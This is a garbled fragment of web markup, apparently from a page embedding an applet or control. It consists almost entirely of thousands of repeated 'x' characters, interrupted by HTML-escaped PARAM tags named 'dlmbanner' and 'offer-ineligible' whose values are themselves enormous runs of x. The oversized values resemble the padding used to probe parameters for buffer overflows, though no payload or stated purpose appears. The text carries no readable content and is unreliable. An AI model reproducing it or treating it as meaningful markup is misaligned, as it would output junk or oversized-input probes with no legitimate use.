xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\u0026#34;\u0026gt; \u0026lt;PARAM NAME=\u0026#34;dlmbanner\u0026#34; VALUE=\u0026#34;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\u0026#34;\u0026gt; \u0026lt;PARAM NAME=\u0026#34;offer-ineligible\u0026#34; VALUE=\u0026#34;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx